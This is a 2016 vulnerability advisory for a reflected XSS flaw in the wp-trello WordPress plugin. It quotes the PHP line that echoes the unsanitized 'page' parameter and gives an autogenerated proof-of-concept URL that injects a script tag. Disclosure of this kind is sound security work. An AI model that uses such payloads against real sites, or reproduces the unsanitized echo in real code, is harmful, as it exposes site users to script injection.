Advisory #: 561
Title: Reflected XSS in wordpress plugin wp-trello v1.0.6
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/wp-trello
Downloads: 2722
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: wp-trello
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./wp-trello/wp-trello.php: 155: <a href="?page=<?php echo $_GET['page']; ?>&tab=<?php echo $tab['section_id']; ?>" class="nav-tab<?php echo $active_tab == $tab['section_id'] ? ' nav-tab-active' : ''; ?>"><?php echo $tab['section_title']; ?></a> The variable page appears to send unsanitized data back to the users browser.
CVE-ID: Not Released
File:./wp-trello/wp-trello.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. http://[target]/wp-content/plugins/wp-trello/wp-trello.php?page="><script>alert(1);</script><"